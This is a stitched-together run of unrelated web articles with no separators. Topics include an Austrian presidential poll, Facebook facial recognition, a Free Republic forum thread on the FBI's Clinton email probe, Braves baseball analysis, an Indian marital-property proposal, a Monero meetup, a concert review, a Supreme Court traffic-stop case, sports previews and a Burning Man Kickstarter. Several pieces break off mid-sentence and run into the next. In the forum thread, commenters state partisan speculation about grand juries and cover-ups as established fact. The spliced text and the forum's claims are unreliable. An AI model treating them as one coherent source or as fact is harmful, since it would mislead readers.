8, 2016. REUTERS/Heinz-Peter Bader Hofer lost by a whisker in May to former Greens party leader Alexander van der Bellen in an election that Austria’s constitutional court this month ordered re-run given vote count irregularities. A series of Islamist attacks in Europe and Britain’s decision to leave the EU since the original vote have shuffled the political deck in neutral Austria. The poll published by the Oesterreich paper on Sunday showed the midpoint of the wide range of support for Hofer at 52 percent — one point higher than a poll in early July found — versus 48 percent for van der Bellen. Fifty-seven percent of the 600 respondents cited Hofer’s personality as the most important factor, followed by “protection from terror” at 56 percent and “more stringent asylum policy” at 55 percent, the paper said. The poll also showed the anti-Islam and eurosceptic Freedom Party (FPO) with record-high 35 percent support, far ahead of the governing coalition partners: the Social Democrats at 25 percent and conservative People’s Party at 19 percent. FPO leader Heinz Christian Strache has repeatedly accused d the government of taking too soft a line on Europe’s migrant crisis, which the FPO says has exposed Austria to danger. In an interview with Oesterreich, Strache demanded EU sanctions to punish Turkish President Tayyip Erdogan for what Strache called anti-democratic crackdowns on opponents after a failed coup. “What we need are an immediate halt to (EU) membership negotiations and payments worth billions, as well as sanctions finally. If the EU’s hypocritical policy sees the introduction of the death penalty announced by Erdogan as a red line, that is pure cynicism. The red line was crossed long ago,” he said. Hofer, 45, lost out in May by just 31,000 votes to pro-Europe candidate van der Bellen, 72. But Austria’s highest court annulled the vote, finding that sloppiness in the count, while not intended to manipulate any votes, had potentially been serious enough to change the outcome. If successful, he would be the first far-right head of state in a European Union country.Facebook is launching a facial-recognition system. For the system to work, Facebook will scan all images posted to Facebook and suggest names of people who appear in them. According to CNN, users can opt-out, but your photos will be scanned nonetheless: Starting in a few weeks, the system will scan all images posted to Facebook and suggest the names of people who appear in the frame. Last year, Facebook began rolling the facial-recognition feature out to a test group. Facebook’s more than 500 million users have been automatically included in the database, but the company is allowing each person to choose whether to be identified by toggling a pane in the account’s privacy settings. The tool would still scan that person’s face and figure out who it is, but it won’t display that information. People can still manually tag friends. Not everybody’s happy about this. Security firm Sophos expressed concern that Facebook’s facial-recognition technology had been turned on by default, PCMag.com reports: “Now might be a good time to check your Facebook privacy settings as many Facebook users are reporting that the site has enabled the option in the last few days without giving users any notice,” Sophos’ Graham Cluley wrote in a blog post. The social-networking site acknowledged that it should have been more communicative about the service’s roll-out, but did not announce plans to make it opt-in. If you don’t want facial recognition turned on, go to your Facebook account’s privacy settings, click on “Customize settings,” go to “Things others share” and find the option for “Suggest photos of me to friends.” To see if it’s enabled, click “Edit Settings” and the box should either say “enabled” or “disabled.” Update On cue, Facebook says “sorry,” reports the BBC: Facebook has apologised for the way it rolled-out a new system that recognises users’ faces. The social network said that it should have done more to notify members about the global launch. … Although users have the option to switch it off, some complained that they were not explicitly asked if they wanted it activated. European Union regulators are investigating the facial-recognition feature, Bloomberg reports:Skip to comments. Don't Be Fooled: Hillarygate Probe Is Now a Formal Federal Criminal Investigation American Thinker ^ \| 11/1/16 \| James G. Wiles Posted on by milford421 "The NY Times and the Wall Street Journal both reported on Monday morning that an FBI warrant application to a federal judge over the weekend for permission to search Huma Abedin's emails and laptop had been granted. The application was made on the basis of the Clinton email investigation. Necessarily, that application (as required by the Constitution's Fourth Amendment) would have been supported by FBI affidavits." "Because, not only is the probe reopened, it has been upgraded and expanded. It has been upgraded from a preliminary inquiry to a formal criminal investigation with grand jury power." (Excerpt) Read more at americanthinker.com... TOPICS: News/Current Events KEYWORDS: corruption crime hillary Salient points all quoted from the article: "1) A federal judge supervising a grand jury has now made a finding, based on FBI affidavits which present evidence gathered during the preliminary Hillary inquiry (the one which the FBI director stated had been closed back in July), that there's probable cause to believe that a federal crime was committed in connection with Mrs. Clinton's use of a private email server. We still, however, don't know what crime(s) are suspected to have been committed. Or by whom. 2) The FBI can use this new grant of grand jury authority to investigate Mrs. Clinton's use of a private email server for the first time to issues subpoenaes to obtain testimony from witnesses and compel the production of documents and things. The Bureau and DOJ can, furthermore, use the judge's probable cause finding to support further warrant applications. 3) The liberal media's reporting that the Hillarygate email server investigation has not, in fact, been "reopened" is totally false. "Because, not only is the probe reopened, it has been upgraded and expanded. It has been upgraded from a preliminary inquiry to a formal criminal investigation with grand jury power." 4) This weekend's development potentially escalates the threat to Mrs. Clinton. While several other procedural steps and processes are necessary, it is a federal grand jury, not the FBI, which issues indictments. The FBI -- using the the grand jury to obtain testimony, conduct searches and compel the production of documents and things - investigates crimes. The U.S. Attorneys, acting though the grand jury, charge and prosecute those persons whom the grand jury finds probable cause to believe have committed those crimes. 5) This weekend's development also means that, for the first time in American history, a candidate for President of the United States is likely now a subject/target of a federal grand jury investigation." To: milford421 Right. The FBI doesn’t do “security reviews”. They do criminal investigations. To: milford421 Once this is all done, Comey and the entire senior FBI leadership structure needs to be investigated to the nth as well. Either the corruption gets cut out with a red hot blade, or we, the people, need to start thinking on a replacement for the FBI. by 3 posted onby Grimmy (equivocation is but the first step along the road to capitulation) To: milford421 Abedin’s lawyer is former counsel in Obama’s administration and she is the former director of communications for HRC when was in the Senate. This sounds like a blatant conflict of interest for this lawyer. Clinton is trying to insure Abedin doesn’t go rogue and burn her. To: Lent I thought that the DOJ attorney now in charge is a Podesta buddy, who just today reassured Dems in the congress that they will make a quick “preliminary determination” in a “few days”. And what do you think they will determine? As to Clinton, this is going nowhere fast. To: milford421 It appears that the institutional FBI and the institutional Justice Department have shoved their political masters Comey and Lynch aside. The wheels are moving, and the political appointees have lost control of events. by 6 posted onby Publius ("Who is John Galt?" by Billthedrill and Publius now available at Amazon.) To: Publius Appearances can be deceiving. We’ll see. by 7 posted onby tumblindice (America's founding fathers, all armed conservatives) To: milford421 Won’t change a thing: Clinton loyalists are running the USAG office, and their toadies are still running the FBI. by 8 posted onby FredZarguna (And what Rough Beast, its hour come round at last, slouches toward Fifth Avenue to be born?) To: milford421 This is a really good point. The press is reporting that the FBI “got” a warrant. But yes, of course, as this author points out, you can’t just get a warrant to search something. You must specifically allege “probable cause” that a crime has been committed. Which raises two fascinating points: 1. It’s demonstrably false that the FBI is just curious about the emails and they’re probably all duplicates anyway. No, they are PROBABLY evidence of a crime, in the opinion of the FBI and the judge who granted the warrant. 2. Huma did not give them permission to search the files. If she did, they wouldn’t need a warrant. So either Huma and Hillary have finally split or it’s demonstrably false that Hillary wants all the information to come out. 3. Even if Huma did think there was bad stuff in her email, why make them get a warrant? It blows Hillary’s cover story that they just want the truth to come out. Unless they’re split OR they both relied on Justice to block the warrant. Which it didn’t. Why not? To: Lent The only reason why this may not be the case is that Huma Abandon was the only HRC aide who did not use the same lawyer all the other aides used. That other left a large DC law firm just represent Cheryl Mills ET al, and I don’t for a minute believe Mills or the rest of them were paying their own bills. Huma, on the other hand, had a different lawyer. That told me she was smart enough not to share a lawyer with people she may have to turrun against, or to let her boss (indirectly) pay her legal bills when she may have to end up cutting a deal and testifying against her. To: Publius Bullsh!t. by 11 posted onby FredZarguna (And what Rough Beast, its hour come round at last, slouches toward Fifth Avenue to be born?) To: edwinland Excellent post. by 12 posted onby trisham (Zen is not easy. It takes effort to attain nothingness. And then what do you have? Bupkis.) To: milford421 “”1) A federal judge supervising a grand jury...” A grand jury? Really? I’m not sure I believe that. To: edwinland Which it didnt. Why not? Because Preet Bharara's office and the NYPD have also seen the emails. by 14 posted onby FredZarguna (And what Rough Beast, its hour come round at last, slouches toward Fifth Avenue to be born?) To: theoilpainter Correct. She will be cleared by the weekend. by 15 posted onby FredZarguna (And what Rough Beast, its hour come round at last, slouches toward Fifth Avenue to be born?) To: FredZarguna Correct. She will be cleared by the weekend. Impossible. No way for classifications of the emails to be determined so quickly. by 16 posted onby lodi90 (Clear choice for Conservatives now: TRUMP or lose) To: lodi90 I agree. Comey is a lot of things, but he’s not stupid. To: lodi90 "Clearing" her in July was "impossible" as well. The same people are running the investigation. I'd love to be wrong, but I'm not. by 18 posted onby FredZarguna (And what Rough Beast, its hour come round at last, slouches toward Fifth Avenue to be born?) To: theoilpainter Yep, the Fixer is in place to control and sanitize the investigation. He’s there to bury all the bad stuff so that it never see’s the light of day. To: LongWayHome Comey’s a tool. Not that that needed said... Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works. FreeRepublic, LLC, PO BOX 9771, FRESNO, CA 93794 FreeRepublic.com is powered by software copyright 2000-2008 John RobinsonAward-winning author Salman Rushdie has a simple message for his American readers about the upcoming presidential election: “Focus.” Writing on Facebook last night, the author of The Satanic Verses took just one paragraph to frame the stakes and choices in the 2016 election. Rushdie wrote: The faults Rushdie lists against Trump are mostly accurate. To be fair, Rushdie is exaggerating slightly when he says Trump is scheduled to “go on trial” on child rape and racketeering charges — there are two lawsuits set to go to routine pre-conference hearings, where they may or may not proceed to an actual trial, according to defense lawyer and blogger Ken White. But everything else checks out. It is true that Trump has now been accused by 17 different women of sexual assault, has refused to release his tax returns, used his charity to pay legal fees, and verbally abused the family of a war hero. Of course, Rushdie doesn’t even get to some of the most obvious Trump outrages — refusing to rent to African-American tenants in the 1970s, defrauding students at Trump University, suing those who disagree with him into oblivion. And we still haven’t gotten to the public policies that many find objectionable, like unprecedented tax cuts for billionaires and immigration restrictions on Muslims that would have made it illegal for a younger Rushdie to move to America. By framing the election in these stark and simple terms, Rushdie is channeling a widespread frustration among liberals that the race is as close as it is. Over the last few days, as the polls have tightened, there’s been a rising backlash against the coverage this weekend about the FBI investigation into Clinton’s private email server — an issue that got more minutes of network news coverage all policy questions combined.Hello. We're back with part 6 of my look at the Braves' offense. Here are the links to Part 1: catchers, Part 2 : 1st basemen, and Part 3: 2nd basemen, Part 4: shortstops, and Part 5: 3rd basemen. Gird yourselves, Braves fans. This series has left the (mostly) comfortable confines of the infield and is traveling out to that fearsome realm that has been the downfall of so many Braves teams in the post-Andruw era. You guessed it, the outfield. We start in right field, which a year ago seemed to be one of the brightest spots on the team. Alas, our hopes for the position were not fulfilled. Former rookie sensation Jason Heyward had an extremely rough year (at the plate, at least) and his backups weren't much help, either. The graphic below shows how the Braves' right fielders stacked up to the rest of the NL in terms of Weighted Runs Created (wRC), everyone's favorite rhyming total-offense statistic. If you're new to this series, go back and read the 1st post so I don't have to explain wRC again. As usual, you'll want to click the graphic to expand it. Okay... So those numbers are pretty ugly. Before I delve into the Braves' numbers, a caveat: 2011 was a really good year for NL right fielders. In most years, 72 wRC* wouldn't be that close to the bottom of the pile. But in 2011, no NL team had truly awful RF production. In fact, 10 teams got at least 99 wRC from the position. That's star-level production from more than half the league. So keep that in mind. * As we'll see next week, center field and left field were even more problematic for the Braves in 2011, but the team's rankings at those positions aren't quite so bad. Another important caveat is that these numbers only incorporate hitting (and stolen bases). When defense and other baserunning are taken into account, the Braves' right fielders look quite a bit better, thanks mainly to Heyward's prowess in those areas. But this post is just about hitting, and in that area, Heyward definitely struggled relative to his peers (and our expectations for him). Beyond that, I'm not going to belabor the analysis of Heyward's 2011. I've done that elsewhere, and it's not like we need to rehash those arguments. What's important is 2012. All of the projections available on FanGraphs (Bill James, RotoChamp, and the Fans) agree that Heyward will bounce back in 2012 to a level just short of his 2010 season, but much better than 2011. The 3 projections average 91 wRC (he had 99 in 2010), which I think we'd all take in a heartbeat. ZiPS, as is often the case, is a bit more pessimistic, projecting Heyward to hit.255 /.360 /.427, a line that is almost exactly the midpoint between his 2010 and 2011 numbers. That's certainly possible, of course, and if so, it'd still be a big improvement over his 2011; I'm guessing that line would be worth around 75 wRC, or 24 more than he had in 2011. And of course, a player of Heyward's many talents has the potential to surpass all of those projections by 30 or 40 runs. You can't say that about very many players. Still, I think somewhere around 85 wRC is a reasonable middle ground of expectation. Getting the most playing time (and attention) among the other right-fielders was Jose Constanza, who inspired a sizable portion of the Atlanta fanbase to Beatlemania-esque shrieking and fainting spells. Yeah, he got off to a hot start. But that hot start was fueled by an incredible run of luck on infield hits. And when all was said and done, he wasn't really any better with the bat than Heyward, despite all that luck. He ended with 82 wRC per 700 PAs, while Heyward was at 78. In the literal sense, as in "difficult to believe." Constanza got hits on nearly 25% of balls hit on the infield; Ichiro's career rate is 15%. That means Constanza got 6 more hits than even an infield hit expert like Ichiro would have had in the same number of chances. Take away those 6 hits and Constanza's line looks like this:.248 /.287 /.330. Which sounds like a much more realistic estimate of his true talent than his actual line. So basically, Constanza wasn't that good and he's likely to be a lot worse going forward. He may make the team as a 5th outfielder-type player, and I'd be fine with that, honestly. But he won't--and shouldn't--have a major role on the team going forward. The other two players to qualify in right field were Joe Mather and Matt Diaz. Mather was good for just 4 wRC in 83 PAs (a miserable 34 wRC per 700 PAs). Signing Mather was understandable, I suppose, but I think we can all agree that giving him that much playing time was a mistake. As for Diaz, he was marginally better: 3 wRC in 37 PAs (57 wRC/700). The Bill James projection for him inspires some confidence (77 wRC / 700 isn't bad at all), but I am a good deal less optimistic. If Diaz doesn't hit lefties, he doesn't have much use. And he's coming off two down years. It's fairly likely that he gets cut before the season is out. That makes me sad to say, because I like him a lot, but oh well. Hopefully the Braves won't need much in the way of backups in right field, anyway. To sum up: in all but the worst-case scenarios (i.e. major injuries), the Braves should do better at this position in 2012. Even a not-that-optimistic scenario would still result in the Braves improving by around 20 runs. And if Heyward fulfills his potential, watch out: we could be talking about a huge improvement. There is a lot more upside in right field than downside. Next week, we'll talk about the other outfield spots, starting off with Michael Bourn, who hopes to finally end the Braves' horrific run of center fielders.NEW DELHI: A high-level government panel has suggested that all movable and immovable assets acquired by a married couple or a couple living together be classified as joint property which would be divided equitably in the event of separation or desertion. The Planning Commission’s working group on Women’s Agency and Empowerment wants a comprehensive legislation — ‘Right to Marital Property Act’ — to be brought in which would be applicable to all communities. The panel, which wants a complete re-look at family laws, argued that all assets acquired by a couple should be viewed as joint property, regardless of who bought it. It said the law needed to recognize a woman as an equal partner with the husband and her contribution to the household should be appreciated.The panel noted that apart from some reforms in the 1950s in Hindu law and some struggles around the issue of maintenance rights for Muslim women, family law reform had been totally neglected. “There is thus an urgent need to consider the enactment of a standalone comprehensive legislation, which will ensure that all assets that have been acquired by the family are divided in an equitable manner,” the group, headed by secretary, women and child development ministry, said in its report.The committee, which had representative from the ministries of law and home, also suggested a review of laws related to maintenance to ensure that separated women and children got an adequate amount of maintenance and custody rights. It suggested removing all discriminatory provisions in existing laws that link a woman’s conduct with the grant of maintenance.The panel argued that laws should be framed with a view to place the onus on the husband to prove his income and the quantum of maintenance awarded should enable the wife and children to live at the same standard of living that they have been used to.It suggested that government should be made responsible for recovery of the maintenance amount, along with creation of a fund to pay the maintenance awarded by the court, particularly to poor litigants.A Kansas angler reeled in something that hadn't been seen in the area in about a decade: an American eel. The 30-inch long eel was caught in the Kansas River in Lawrence on Sept. 11 by Tim Smith, who used a worm for bait. Since the eels spawn in the Atlantic, this one must've traveled quite a distance to reach Kansas. "It would have migrated from the Atlantic through the Gulf, up the Mississippi," Ron Kaufman, a spokesman for the Kansas Department of Wildlife, Parks and Tourism, told the Lawrence Journal-World. "It would have taken a turn at Saint Louis to get to the Missouri River and another left to get into the Kansas River." He said there could be others in the area -- but don't expect to see them very often. The Department of Wildlife, Parks and Tourism says the eels are generally nocturnal, hiding under logs during the day and feeding on invertebrates and soft-bodied fish. The agency said that while the eels were not uncommon in the area a century ago, dams along the rivers have blocked migration and made them much less common. There has been a push to list the American eel as threatened under the Endangered Species Act. However, earlier this month, the U.S. Fish and Wildlife Service said the population is stable and the species does not need protection. "While American eels still face local mortality from harvest and hydroelectric facilities, this is not threatening the overall species," the agency said, according to Tech Times. Also on HuffPost:Initial Monero Austria Meetup in cooperation with Dogecoin austria (https://www.meetup.com/Dogecoin-Austria-Meetup/) and the Ethereum Vienna (https://www.meetup.com/Ethereum-Vienna/events/239268670/) meetups. We will kick-off the Monero Austria Meetup Group by looking at useful cryptography: ring signatures, which form the backbone of Monero. Featuring: • Justin Ehrenhofer: Privacy with Monero (https://getmonero.org/) Justin will talk about how Monero (https://getmonero.org/) achieves privacy and its roadmap. Justin has been active in the Monero community for the past two years. Although he is not a developer for the project, he has contributed heavily on StackExchange and with the Monero mining community. He is a president of the University of Minnesota's Cryptocurrency Club, and he has spoken about Monero at several other meetups. Justin is studying finance and management information systems. * Ralph Pichler: ENS (Ethereum Name Service) and its upcoming (re)launch on the mainnet ENS (http://ens.readthedocs.io/) is a decentralised name service built on top of Ethereum. Following a failed launch of the.eth registrar a few weeks ago, it is now ready for relaunch on the main net. * Matthias Tarasiewicz: Cryptocurrencies as distributed community experiments - the origins of Dogecoin In a paper from 2014 (https://www.academia.edu/9622400/Cryptocurrencies_as_Distributed_Community_Experiments) (as chapter of the 'Handbook for digital currency') the iterative development of various 'altcoins' have been discussed as 'distributed community experiments (https://www.academia.edu/9622400/Cryptocurrencies_as_Distributed_Community_Experiments)'. Altcoins introduced new solutions to problems Bitcoin was facing, while also tackling social and other evolving problems that emerged throughout the various phases of adaptation and collective learning processes. These alternative coins represented hypotheses by the respective creators until they could show a significant user-base and ultimately have been accepted in online cryptocurrency exchanges. An interesting example is the cryptocurrency Dogecoin (http://dogecoin.com/), since significant decisions (such as inflation) have been introduced by the community. Besides the interesting governance and resistance of the community, the genealogy of Dogecoin can be read as a history of experiments: Multicoin, GeistGeld, Tenebrix have been all predecessors of Litecoin, which ultimately led to the Shibe as we know it today. This is a joint event with the Dogecoin austria meetup (https://www.meetup.com/Dogecoin-Austria-Meetup/) and the recently created Monero Austria (https://www.meetup.com/Monero-Austria/) meetup group and is presented at the RIAT - Research Institute for Arts and Technology (http://riat.ac.at).Photography by Leonard Drorian I hate to say it, but we need more rock stars. We need more artists willing to embrace showbiz and glamour; it’s necessary for the survival of rock ‘n’ roll, and damn near critical for the evolution of today’s West Coast sound, which seems buried beneath a thicket of Tascam 388-recorded noise that sounds too ’60s garage, too proto-punk, too uncooked to serve any purpose beyond losing your mind at a show. The recent West Coast garage revival, dripping with psychedelic and Krautrock influences, is suffering from repetition; stoner rockers signed to labels like Burger, Lolipop, and John Dwyer’s Castle Face are raw, but too similar-sounding to crossover with a record that has a human element but also a grand vision, like Bowie’s Station to Station or The White Stripes’ Elephant. The scene seems too crowded with bands stuck in the prototype phase of development — borrowing their sound from garage and surf compilations like Crypt Records’ Back from the Grave and Posh Boy Records’ Beach Blvd. without ever dipping their toes into the shark-infested waters of rock ‘n’ roll virtuosity, driven by guitar showmanship and glittery performance art. In that sense, the scene needs a new rock star to shake things up a bit. It’s taken about six years, but Laguna Beach-born, San Francisco-cultivated garage rocker Ty Segall seems to be the guy. Sure, he’s a revivalist, but like Tarantino borrowing from Japanese horror, Segall takes his various influences — Black Sabbath, Aladdin Sane-era Bowie, Neil Young — and adds layers of grit and runs it through a chaotic funhouse mirror of influences as varying as Grand Funk and Mudhoney. Like Tarantino, he doesn’t connect to the modern world, which shows on a dozen or so releases in the past six years through various bands (Fuzz, Ty Segall Band, Sleeper Band), EPs, splits, and an endless web of collaborations with kindred spirits like Mikal Cronin, White Fence, and King Tuff. A workaholic, Segall’s output is a dizzying showcase of his influences, inviting you to listen in, dig through your record collection, and check out ’70s rock records by bands like Hawkwind and Deep Purple, rather than streaming synthpop KCRW. At 27, Segall has already released a handful of concept albums, including last year’s Sleeper, a weird, acoustic meditation on death, and now with his seventh solo effort, a 17-track pivot from his garage rock roots, Manipulator, Segall finally seems to be clearing the static towards a classic rock sound that seems to belong to a new identity — a reluctant rock star floating off into space, evolving into a Starchild, a new species of garage rocker who seems destined to be what Jack White once was: a hero for the freaks, a transcendent figure who sets the tone for his peers to follow. During four nights at the Echo (August 28-31), Segall would wield his fireglo Gibson Les Paul into the smoke-filled air of L.A.’s underground fun factory, swinging his arm around like Pete Townshend, and finger-tapping as sweat dripped from his left hand (covered in an eyeball tattoo), as if he was crushing volcanic rock into a diamond. Everyone paid witness to his magic, including the likes of Mac DeMarco, Jessica Clavin of Bleached, and Max Kuehn of FIDLAR, as Segall ascended into a new stratosphere where his Lennon-like vocals screamed through a thick sludge of fuzz and flashy guitar work. The combined effect was a big bang of noise that was unnervingly loud, shaking the two gothic chandeliers lighting the Echo’s parquet courts. Segall would tear through two guitars and a couple amps before he was done. Originally a drummer, each night Segall would stomp on his Death by Audio fuzz pedal like a drummer pounding a bass drum — releasing screeching solos instead of crashing copper. The Ty Segall band, which includes Emily Rose Epstein on drums, Charlie Moonheart on guitar, and Segall’s high school buddy and accomplished solo musician, Mikal Cronin, on bass and synth, would play through nearly every track off Manipulator, followed by an encore that included rarely played Segall cuts like “Imaginary Person”. On each of the four days, I sat next to Segall’s Fender Quad Reverb amp and listened to each note, every flurry of twisted solos, and witnessed the evolution of Segall during a turning point in his career, floating off into the cosmos with his Manipulator band.The court, in Heien v. North Carolina, continued its steady erosion of the Fourth Amendment’s protection against unreasonable searches and seizures. (Image: Lauren Walker / Truthout)Help Truthout keep publishing stories like this: They can’t be found in corporate media! Make a tax-deductible donation today. Ignorance of the law is no excuse – that is, unless you’re a police officer. For the first time, in December, the Supreme Court upheld a traffic stop even where there was no traffic violation. The court, in Heien v. North Carolina, continued its steady erosion of the Fourth Amendment’s protection against unreasonable searches and seizures. In this case, an officer stopped a car that had only one working brake light, thinking that North Carolina law required two working brake lights. But the officer was mistaken about the law. Only one working brake light is required in North Carolina. Although the court has upheld searches when an officer has made a mistake about the facts, the court has never before said an officer can stop someone due to a mistaken belief the person is committing a crime. To read more stories like this, visit Human Rights and Global Wrongs Sgt. Matt Darisse began following a Ford Escort because he thought the
Damonte Dodd (35) battle for the ball during the second half at Welsh-Ryan Arena. The Terrapins won 74-64. Mandatory Credit: David Banks-USA TODAY Sports Baltimore Orioles: Is Orioles’ Adam Jones still the premiere center fielder in AL East? Baltimore Orioles: Is Orioles’ Adam Jones still the premiere center fielder in AL East? by Nate Wardle The 2017 Big Ten Conference Tournament continues Friday with quarterfinal action including No. 3 Maryland vs. No. 6 Northwestern. Here is your guide to stream the Big Ten Tournament live. After enjoying a double-bye to start the Big Ten Tournament, the 25th-ranked Maryland basketball team will play Northwestern in the quarterfinals of the Big Ten Tournament Friday night. The Northwestern-Maryland basketball matchup will round out Friday’s Big Ten basketball schedule approximately 25 minutes after the conclusion of the Wisconsin-Michigan State game which starts at 6:30 p.m. ET. So in other words, prepare for the game to begin around 9:00 p.m. ET on the Big Ten Network. Northwestern advanced to play Maryland with Wednesday’s night victory over Rutgers, which included a colossal 31-0 Northwestern run in the first half. With the dominating win against 14th-seeded Rutgers, Northwestern enhanced the chances of hearing their name called on Selection Sunday when the NCAA Tournament field of 68 is announced. Below is the updated Big Ten Tournament bracket heading into Friday’s action: There’s no place like home (Verizon Center) Before this season, United Center in the city of Chicago and Indianapolis’ Bankers Life Fieldhouse served as the host of the Big Ten Conference Tournament. However, as always, things change in life, including the location the 2017 Big Ten Tournament. The new host for this year’s conference tourney is in the heart of the nation’s capital at the Verizon Center, meaning Maryland will head south just 15 miles from the stunning University of Maryland campus. Friday’s game will be the Terps second appearance at Verizon Center this season after a miraculous win against Georgetown in the second game of the regular season. To refresh your memory, here is a video clip of the classic game: Maryland overcame a nine-point deficit with just 4:25 remaining to complete the improbable comeback, silencing the critics who doubted Maryland after their incredulous victory over American in the season opener. Want your voice heard? Join the The Baltimore Wire team! Write for us! The Terrapins will also face Northwestern for the second time this season since Maryland traveled Evanston, Illinois and beat Northwestern at Welsh-Ryan Arena, the home court of Northwestern basketball. Maryland’s starting three freshmen overlooked in Big Ten awards The Big Ten unveiled the annual all-conference team and player awards on Monday following the conclusion of the regular season. Maryland’s superstar Melo Trimble was named to the all-Big Ten first-team and senior Damonte Dodd was named an honoree for the Big Ten Sportsmanship Award. The voting panel of Big Ten coaches and media members inexcusably refused to award the play of Maryland’s starting three freshmen players who clearly surpassed expectations and a major factor in the Terps compelling season. Maryland head coach Mark Turgeon turned to Twitter to defend his three starting freshmen’s all-conference snub: I thought winning was the most important factor — Mark Turgeon (@CoachTurgeon) March 7, 2017 As a result, expect a galvanized and fired-up Turgeon to use the Big Ten’s 2017 awards snub as motivation as Maryland prepares for Northwestern Friday night. How to watch Maryland vs Northwestern live streamThe Bucs open a three-game homestand today against a team that leads the NFL in road wins. Can they win their third straight? They haven't been above.500 this late in a season since 2012, when they were 6-4. Here are five things to watch versus the Raiders: 1. Tough test for an improving Bucs pass defense: Last season the Bucs allowed opponents to complete 70 percent of their passes, setting a franchise record and finishing last in the 32-team league. They are much, much better in that area in 2016. Opponents are completing 58 percent, the fourth-lowest mark in the NFL. Keep in mind, aside from the Falcons' Matt Ryan, the Bucs haven't faced anyone higher than 20th in quarterback rating. The Raiders' Derek Carr is completing 65.9 percent, with 13 touchdowns and three interceptions. Can the Bucs force him into turnovers? The defense had two takeaways in the first four games; it has five in the past two. Add two special teams turnovers and Tampa Bay has more takeaways in the past two games than any team in the NFL. But turnover margin might be Oakland's strength (plus-8). 2. Lots of scoring, potentially: The Raiders are actually 3-1 when allowing 27 points or more. The Bucs, since the start of 2011, are 3-36 when they give up 27-plus. The Raiders have been able to overcome a bad defense in their 5-2 start. They've faced some prolific offenses and have given up nine plays of 40 yards or more, matching the most in the league. The Bucs defense had a similar problem early this season, but it has buckled down. The 49ers' longest play last week was 24 yards. Seven of the 40-yard pass plays the Raiders have given up have come in the second half, when defenses have tired legs. So though the Bucs will work early to establish a run game, they might also take advantage of a Raiders defense that is the league's worst in yards allowed and passing yards allowed. 3. Another opportunity for Bucs RB Jacquizz Rodgers: With Doug Martin still sidelined by his hamstring injury, the bulk of the carries again will go to Rodgers, who gained 101 yards against Carolina two games ago and 154 against San Francisco last week. Oakland's run defense is fifth worst in the league, allowing an average of 128 yards per game. Baltimore's Terrance West (113) and Kansas City's Spencer Ware (131) had their only 100-yard games this season against the Raiders. If Rodgers can top 100 for the third game in a row, he will do something Martin has done once in five seasons. 4. Bucs pass rush drawing penalties: Oakland has given up a league-low seven sacks. Its weakness, however, is penalties. The Raiders lead the league with 20 accepted holding penalties and 13 false starts. That includes three holds each for guards Vadal Alexander and Kelechi Osemele. Bucs DT Gerald McCoy can be disruptive just by drawing holding penalties. Oakland leads the league in penalties and is second in penalty yards, so there's an opportunity for the Bucs to pile up hidden yards. 5. Watch out for the fourth quarter: The Raiders rank fifth in fourth-quarter scoring (9.6 points). They scored 22 points to beat the Saints after trailing 24-10 in the third, and they had 14 points in fourth quarters against the Falcons and Ravens. The Raiders' Derek Carr ranks fifth in fourth-quarter QB rating (five touchdowns, one interception). The Bucs' Jameis Winston has two fourth-quarter touchdown passes. The Bucs rank 31st in fourth-quarter scoring (3.7 points).The Sacramento Kings will open up a 7-game exhibition schedule on Wednesday at home against the Phoenix Suns. The game will not be televised locally. There are confusing reports on whether NBA TV will carry the game. (The NBA's website says no; some of our TVs apparently say yes. It seems like no, though.) It will happen live in a building in Sacramento, and tickets are available. (If you attend, please report back to those of us blind to the effort.) The Suns may not be entirely recognizable, as Steve Nash and Grant Hill have departed and Channing Frye will miss the season with a heart ailment. We'll be seeing the revamped Suns starring Goran Dragic (Slovenia!), Marcin Gortat and, yes, Michael Beasley. Of course, it's preseason, so we may not be seeing all of what Phoenix offers. But this is the new Pacific Division foe: Nashless, rolling in the cellar with us. The game is scheduled for 7 p.m. Pacific. We'll have a game thread in the cover on the front page at 7. Let's go Kings.Help this Trojan Horse to the finish line! The Trojan Horse Project is a multidisciplinary effort combining sculpture, light installation, music, performance, and dramatic arts into what is destined to be a highlight of this year’s Burning Man. Standing nearly five stories high and weighing 20 tons, the horse will be composed of large dark triangles, a modern, cubistic version of a familiar form. Surrealistic rooms within and spectacular lighting effects inside and out make the beast even more remarkable. If Vancouver-based Art Director Douglas Bevans and his international project team achieve their goals, a thousand or more Burners will participate in pulling this huge Trojan Horse across the playa to where it will be set on fire with flaming arrows. In addition to those pulling the horse, the Grand Procession will include hundreds of players costumed as Greek deities or mortals and an international corps of brass players, drummers, and percussionists who will play Bevan’s latest composition. The Trojan Horse Project is a global undertaking, having already attracted hundreds of volunteers and collaborators from around the world. Why don't you join us? While managed from Vancouver, Montreal, Seattle, and San Francisco, the project is truly a global Burner community effort. And we need your help to make this beast come to life! The whole shebang will cost nearly $100,000. Through Kickstarter, we hope to raise $18,500, which will go directly toward tools, hardware, and lumber for the construction of the horse. You want the details? The money raised through Kickstarter will be spent exclusively on actually building the horse. Superstructure - Beams, Legs and Floor $2.370 (4x4, 2x12, 2x4, plywood) $2.370 (4x4, 2x12, 2x4, plywood) Internal Structural Walls $310 (4x4, 2x4, plywood) $310 (4x4, 2x4, plywood) Head and Neck Structure $470 (4x4, beams, and internal platform) $470 (4x4, beams, and internal platform) Outer Skin $2.950 (Plywood and attachment scaffolding) $2.950 (Plywood and attachment scaffolding) Hardware, Fasteners, and Contingency $1.470 (Hold downs, nails, staples, glue) $1.470 (Hold downs, nails, staples, glue) Tool Purchase and Rental $5.030 (Compressors, nail and staple guns, table saw, blades, chop saws, blades, 1/2 right angle drills, misc hand tools, impact drivers, ladders and scaffolding) $5.030 (Compressors, nail and staple guns, table saw, blades, chop saws, blades, 1/2 right angle drills, misc hand tools, impact drivers, ladders and scaffolding) Space Rental at Treasure Island $6.000 (for 3 months) Beyond the expenses related to the construction of the horse, additional expenses include construction of the cart and Gates of Troy; rental of power supplies, a sound system, and EL-wire and spots for coloring the horse at night; pyrotechnics; and transportation. Inside the Horse Participants climb ladders and stairs in the horse’s rear legs to reach the rooms in the belly of the beast. Beyond the main room where the absinthe ceremony is performed, Burners will be able to ascend stairs to the lookout in the horse’s head or explore the hidden oracle room. The belly of the beast will be a surrealistic space designed to play with the mind and senses. Simply experiencing the interior’s sensory overload of sights, sounds, and smells; the tactile interior and décor; the taste of absinthe; the arduous entry and exit, will be a rite of passage. Get your swag! If you help us with a financial contribution you'll earn our sincere gratitude and some of these great rewards:In an alternate universe where New York City won its bid for the 2012 Olympics over London seven years ago, we would all, 